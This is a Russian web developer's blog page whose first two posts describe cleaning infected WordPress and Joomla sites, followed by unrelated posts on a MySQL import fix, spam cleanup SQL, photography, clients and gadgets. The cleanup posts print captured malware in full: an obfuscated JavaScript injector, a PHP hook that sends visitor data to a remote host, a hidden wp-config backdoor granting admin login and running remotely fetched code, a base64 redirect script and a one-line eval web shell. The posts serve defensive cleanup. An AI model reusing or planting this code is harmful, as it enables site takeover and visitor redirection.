Tech Department. Техотдел.
блог веб-разработчика
Еще один вирус, теперь WordPress
on Янв 29 in БезопасностьСнова столкнулся с интересным вирусом поражающим WordPress Блоги, особенно те, которые используют timthumb плагин для ресайза изображений. Рекомендую всем обновить timthumb до последней версии отсюда.
Я не расскажу точно как происходит заражение но расскажу что нужно чистить.
Вирус поражает все файлы javascript на хостинге кодом следующего вида
var_0x4470=»\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\
МНОГО БУКВ
x36\x7C\x36\x34\x7C\x68\x74\x74\x70″,»\x72\x65\x70\x6C\x61\x63\x65″,»",»\x5C\x77\
x2B»,»\x5C\x62″,»\x67″];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5
,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5]
[_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=
_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5)
{return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;}
;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]
( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4
[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]]
(_0x4470[1]),0,{}));
Все файлы JS надо чистить, код находится в конце.
Второе, надо проверить файлы wp-settings и wp-config
В wp-settings вы должны найти следующий код
function counter_wordpress() {$_F=__FILE__;$_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6
Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;eval(base64_decode(‘JF9YPWJhc2U2NF9kZW
NvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPW
VyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOy
RfWD0wOw==’));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip =
$_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SE
RVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url
.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref;$ch = curl
_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,
CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch
);curl_close($ch);echo $re;}add_action(‘wp_head’, ‘counter_wordpress’);
В файле wp-config добавится несколько тысяч пустых строк и там будет скрыт код вида:
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == ‘b53b3a3d6ab90ce0268229151c9bde11′){
if ($_GET['pingnow']== ‘login’){
$user_login = ‘admin’;
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
}
if (($_GET['pingnow']== ‘exec’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).’.php’;
$fp = fopen($fnm, «w»);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo «<SCRIPT LANGUAGE=\»JavaScript\»>location.href=’$fnm’;</SCRIPT>»;
}
if (($_GET['pingnow']== ‘eval’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}
Его нужно тоже удалить.
Кроме того в папке с темами и кешем вы найдете следующий ад, вмоем случае тут: htdocs/wp-content/themes/Имя темы/cache
Там будут файл index.php index.html и множество закодированных файлов с именами вида:
timthumb_int_300e3fd45f2cbb61e647ee6207a8d619.timthumb.txt
timthumb_int_4a9d4727385b1d3000c0c269de395e6f.timthumb.txt
ИТД
Все кроме изображений надо удалить. Файл index.html у меня также содержал код вируса.
После этих операций, яндекс разблокировал сайт и сказал что нет вируса, но лучше всего сделать бэкап базы данных, переставить движок, тему и развернуть сайт заново, так как вирус портит огромное число файлов и можно что-то пропустить.
Забавный вирус на сайте base64_decode
on Янв 10 in Безопасность, Общие темы, Проекты, ХостингКо мне обратился клиент с задачей почистить сайт от вируса. Проблемы начались с того, что при переходе с поисковой системы Яндекс, с сайта клиента начало редиректить на абсолютно другой ресурс, но при заходе на сайт по прямой ссылке все отлично работало.
Вооружившись ФТП доступом ), полез смотреть. Во ВСЕХ php файлах был кусок кода при открывающемся теге <?php
eval(base64_decode(«DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcn
Nfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFR
QX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0
KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN
0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibG
VyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXI
sImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHI
oJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9y
IHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3
R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R
yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV
4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19t
YXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcm
VmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5
jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0
cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQ
poZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLjM0NS5wbC8iKTsN
CmV4aXQoKTsNCn0NCn0NCn0NCn0=»));
Расшифровать этот код удалось при помощи этого ресурса.
И вот тут то я увидел что код просто гениален )
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,»yahoo») or stristr($referer,»bing») or stristr($referer,»rambler») or stristr($referer,»gogo») or stristr($referer,»live.com»)or stristr($referer,»aport») or stristr($referer,»nigma») or stristr($referer,»webalta») or stristr($referer,»begun.ru») or stristr($referer,»stumbleupon.com») or stristr($referer,»bit.ly») or stristr($referer,»tinyurl.com») or preg_match(«/yandex\.ru\/yandsearch\?(.*?)\&lr\=/»,$referer) or preg_match («/google\.(.*?)\/url/»,$referer) or stristr($referer,»myspace.com») or stristr($referer,»facebook.com») or stristr($referer,»aol.com»)) {if (!stristr($referer,»cache») or !stristr($referer,»inurl»)){
header(«Location: http://happynewyear.345.pl/»);
exit();
}}}}
В двух словах, эта гадость отслеживает откуда пришел юзер и если он пришел с ресурса по ссылке из этого списка url, то идет редирект на чужой сайт. Очень красиво и сразу отловить такую заразу не всем удастся. Ведь на свои ресурсы мы как правило заходим по прямой ссылке.
Чистить проще всего с помощью netbeans
Скачиваем весь сайт на локальную машину, добавляем его как project with existing source и делаем автозамену по всему проекту. Этот кусок кода меняем на пробел или пустоту. После примерно 15000 автозамен сайт чист. Для надежность можно провести поиск по base64_decode и руками проверить оставшиеся файлы. Чистить все руками очень долго и муторно )
Удачи.
UPDATE 29/01/2012
Вирус проявил себя снова, искали shell на сайте и нашли
проверьте папку images в корне сайта там должен быть файл post.php со следующим содержанием
<?php eval(base64_decode($_POST["php"])); ?>
И еще кое что, я даже не знаю предыдущий ли это шелл, клиенту уже лечил кто-то сайт, но на всякий случай проверьте папку
/components/com_arhcive/
ее название не случайно с ошибкой, там лежит готовый шелл для заливки всякой гадости на ваш сайт.
Joomla 1.6 баг с Mysql, при переносе сайта
on Дек 20 in ХостингСтолкнулся с интересным багом, и думаю много еще кто столкнется. Пишу решение тут, работает проверено.
Итак, эта ошибка возникает при восстановлении Базы Данных сайта из бэкапа или при переносе, особенно если вы делаете экспорт БД через phpmyadmin.
При импорте Mysql пишет ошибку:
#1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘USING BTREE)
Как правило это ошибка при переносе с более новых версий mysql на более старые. А это все хостеры, не желающие обновляться. Вот и я столкнулся с этой ошибкой когда переносил БД сайта из под ubuntu сервера, который стоит дома на gandi.net облачный хостинг.
Суть ошибки кроется в одной единственной строке, даже скорее ее части (выделено жирным):
KEY `idx_usergroup_nested_set_lookup` (`lft`,`rgt`) USING BTREE
откройте дамп базы данных с помощью текстового редактора notepad++ или чем-то еще, и сделайте поиск по USING BTREE
Вся проблема решается если поменять две вещи местами:
KEY `idx_usergroup_nested_set_lookup` (`lft`,`rgt`) USING BTREE
на
KEY `idx_usergroup_nested_set_lookup` USING BTREE (`lft`,`rgt`)
и все, дамп БД отлично разворачивается и сайт работает.
Надеюсь это вам поможет, пишите в комментариях, помогло ли, и о своих способах решения этой проблемы.
Спам трекбеки (trackbaсks)
on Дек 18 in Общие темыПроблему со спам комментариями я решил давным давно, но спамеры не дремлют, и теперь блог наводнили спамовые трекбеки с сылками на посты, рекомендую всем сделать следующее:
отключить в настройках блога:
- Параметры->Обсуждение->»
- пройтись по всем записям блога и отключить трекбеки у каждой
Если у вас в блоге очень много записей, то вам надо подружиться с mysql и phpmyadmin оболочкой.
Для начала можно почистить старые редакции запией, они увеличивают БД и тормозят блог:
DELETE FROM wp_posts WHERE post_type = «revision»;
И волшебная команда чтобы удалить спам комментарии:
DELETE FROM wp_comments WHERE comment_approved = ’0′;
Ну и самая главная команда, чтобы отключить трекбеки у всех постов:
UPDATE wp_posts SET ping_status = ‘closed’ WHERE post_status = ‘publish’;
Пользуйтесь, делитесь своим опытом в комментариях.
Креветочная фотосессия для стоков
on Дек 13 in ФотоНедавно увлекся съемкой для фотостоков. Даже прикупил немного оборудования в помощь своему «хобби». Снимаю я уже довольно давно, начинал с Olympus c-740, а 6 лет назад купил nikon d70s и продолжаю снимать на него. Для формата А3 его хватает. С любимой камерой побывал на Камчатке в 2007 году и даже удалось поснимать нерп на выходе из бухты Петропавловск-камчатский.
За долгие 6 лет у меня постепенно докупалось фотооборудование и в итоге я имею следующее:
nikon d70s собственно сама камера
Объективы:
- 18-70 nikkor AF-S 3,5-4,5 ED
- 50mm nikkor 1,8D
- 70-300 Sigma APO DG 4-5,6 macro
Вспышки:
- Nikon sb-600
- raylab r22 – х2 штуки
Прочее оборудование:
- отражатель matin 56 см 5 in 1
- штатив rekam 3х секционный 165 см (самое лучшее в этом классе за свою цену, тяжелый и устойчивый)
- Поляризационные светофильтры: marumi 52 mm, 67 mm
- Cross-screen светофильтр: marumi 52 mm
- Инфракрасный светофильтр 52 mm
- Нейтрально-серый градиентный фильтр 67 mm (для съемки пейзажей и притемнения неба)
- Макролинза +4 52 mm marumi
и.т.д.
Оборудование копится, а снимаю очень редко, вот и начал снимать для стоков. Первая фотография которую я разместил на стоке была фотография кофейной чашки снятая на подоконнике в кухне в далеком 2005 году. Я ее выложил на фотосток dreamstime. И забыл про него наверное на полгода. Спустя полгода зайдя на фотосток, обнаружил, что мое фото кто-то купил. Так я заработал свои первые 50 центов ))))
Не буду распыляться по мелочам, перейдем к съемке.
Сегодня жутко захотелость что-то поснимать, а нечего. В морозилке нашел несколько креветок, причем весьма неплохого качества. Начнем ставить свет.
Из оборудования нам понадобилось следующее:
- лайткуб (который мне любезно одолжил @bata_good)
- вспышка nikon sb-600
- 2 ведомые вспышки raylab r-22
- отражатель с серебристой поверхностью
- штатив и что-то что могло бы держать отражатель, мне помог второй штатив для этих целей.
- nikon d70s + 50mm nikkor 1,8D + макролинза +4 marumi 52 mm
Вот такая конструкция у меня получилась. Read More
«Адовые» клиенты
on Дек 02 in Ведение проектов, ДизайнБывает такой тип клиентов, который нереально бесит. Их не устраивает все, от кустика и камня на иллюстрации или точки которая должна быть другого цвета внизу в углу страницы.
Собственно меня взбесил следующий проект. На free-lance ко мне постучался мой проверенный, постоянный заказчик с которым мы сделали уже несколько дизайн-макетов сайтов. Не сказать что заказчик самый лучший, но платил стабильно, быстро, хотя цены на проекты были занижены всегда. Очень сильно бесил тот факт, что на каждый макет от него поступал огромный список исправлений, придирок и других мелочей.
Итак, нужно было сделать дизайн-макет сайта лесозаготовок. Была представлена структура сайта и пример шапки сайта, вот он:
Подобные шапки рисуются не особо просто, стандартное изображение состоит из 30-40 слоев, и множество элементов рисуется вручную. Моя задача усложнялась тем, то заказчик предоставил фотографии своей техники, которую нужно было обязательно использовать в дизайне. Read More
Купил iPad 2
on Сен 07 in ЖелезкиДавным давно я писал статью про появление первого айпада на рынке. Тогда это было совершенно новое слово в развитии компьютерной техники и особенно мобильных устройств.
Я не мог понять как можно использовать такой большой экран без каких либо элементов управления, но благодаря инженерам и группы софтверной разработки компании Apple, мы получили идеальный аппарат для веб-серфинга, работы, презентаций, игр, и еще многому другому.
Первый iPad был довольно громоздким, но вторая модель получилась совершенной: тонкий корпус, идеальная обложка смарт cover, быстрый процессор, большой объем памяти.
О покупке второй модели iPad я думал практически с его появления на Российском рынке. Однако финансовые проблемы, развитие собственного бизнеса, и череда экстренных финансовых затрат связанных с внезапным ухудшением здоровья и отказа некоторой техники дома, постоянно отодвигали дату долгожданной покупки.
И вот сейчас, я печатаю этот пост прямо на своем новеньком iPad 2, и понимаю насколько это органичное, удобное устройство. И огромное спасибо моему отцу, так как это по сути подарок за проделанную мной работу над одним проектом, со множеством командировок и бессонных ночей за рулем.
Сразу скажу что этот девайс не для всех, и дело не только в большой цене и скудном импорте в Россию. Дело в привычке, мировоззрении и требованиям.
Я «подсел» на продукцию Apple с первого дня использования iPod nano, а iPod touch 2gen и iPhone 3gs только утвердили мое мнение об этой продукции. Уже накопился софт, который покупал за кровные деньги, привык к надежности и удобству продукции Apple.
Пишем браузерную игру
on Июн 02 in Пишем Браузерную ИгруМеня клюнул жаренный петух, и после прочтения ЭТОЙ статьи на Хабрахабре у меня жутко зачесались руки что-то написать подобное.
То что получилось на текущий момент, сейчас работает наFERMA.NAMSA.RU, новые билды выходят каждые 2-3 дня.
Опыта особого в написании игр не было, и знание PHP тоже хромает. Но попробуем восстановить хронологию событий.
17 мая
Я попробовал сверстать на div’ах изометрическую проекцию. В принципе все просто: блоки стыкуются друг с другом по горизонтали, но по вертикали нужно сделать запас под отображение растения.
Проба пера:
Вроде что-то получилось. Теперь главная задача обработать клики. Первый FAIL ждал именно тут, так как блоки наезжают друг на друга, то области перекрывают друг друга. Почесав тыковку, я решил сделать поверх еще один слой с дивами которые можно кликать. Тут родилась идея наклонить при помощи -moz -webkit и прочих приблуд эти Div блоки, повернуть их на 45 градусов и прописать на javascript обработчик кликов. Read More
Бардак на buypost.ru
on Июн 02 in Общие темы![]()
Писал об этой компании и способу заработать на своем блоге в статье на http://www.blogfinance.ru
Проблемы и глюки начались сразу, после регистрации блога на buypost.ru
У этого блога рейтинг google PR 1 но отсутствует ТИЦ, решил все таки добавить блог, чтобы оценить интерфейс buypost.ru. Регистрация прошла успешно и сайт ушел на модерацию (10.05. 2011). Спустя день, мой блог отклонили и я забросил какую либо работу c buypost.ru, так как возможности посмотреть интерфейс не было. Дальше началось самое интересное.
21.05.2011 мне приходит письмо, что мой блог принят в работу:
Здравствуйте, Андрей.
Ваш блог «Блог веб-разработчика» (http://tech.osokin.me/) принят в работу.
С уважением,
Команда buypost.ru
—————–
Данное уведомление сгенерировано автоматически. Пожалуйста, не отвечайте на него.
Если у Вас возникли вопросы, задавайте их технической поддержке
В панели управления появляется мой блог, и ему присвоен активный статус. Можно указывать цены, на все уровни страниц учитывая их PR. Открылся доступ ко всему интерфейсу.
Но блог не индексируется, и я не мог понять почему, был установлен скрипт для индексации от buypost.ru, все доступы к блогу были указаны в панели управления.
01.06.2011 я решаюсь написать техподдержке, что случилось и почему мой блог не индексируется, раз он уже принят в работу.
Ответ меня поразил до глубины души:
Тикет: 6772
Служба поддержки : Здравствуйте. Ваш сайт не соответствует требованиям биржи:
ТИЦ =>10;
02.06.2011 15:06
А теперь достаточно ответить на один простой вопрос:
Если в самое компании buypost.ru творится такой бардак по модерации и активации блогов, вы уверены что можете им доверить:
1) доступ к блогу (требуют логин и пароль от админки)
2) к финансам заработанным на этом сервисе (их ведь банально можно не получить)
Я больше не доверю.
Образцы бумаги из типографии moo.com
on Май 07 in ДизайнНаконец я получил сегодня образцы бумаги и сэмплы продукции из сервиса moo.com, поэтому сегодня публикую фото обзор что было в конверте. Честно сказать, я даже не ожидал настолько качественной бумаги и печати от этой типографии. Буду налаживать партнерские отношения именно с ними. Цены на печать визиток дешевле чем у нас в России, а качество несравнимо выше.
Конверт. Что о нем сказать: очень плотный, выдержал нашу «Почту России». ) Read More








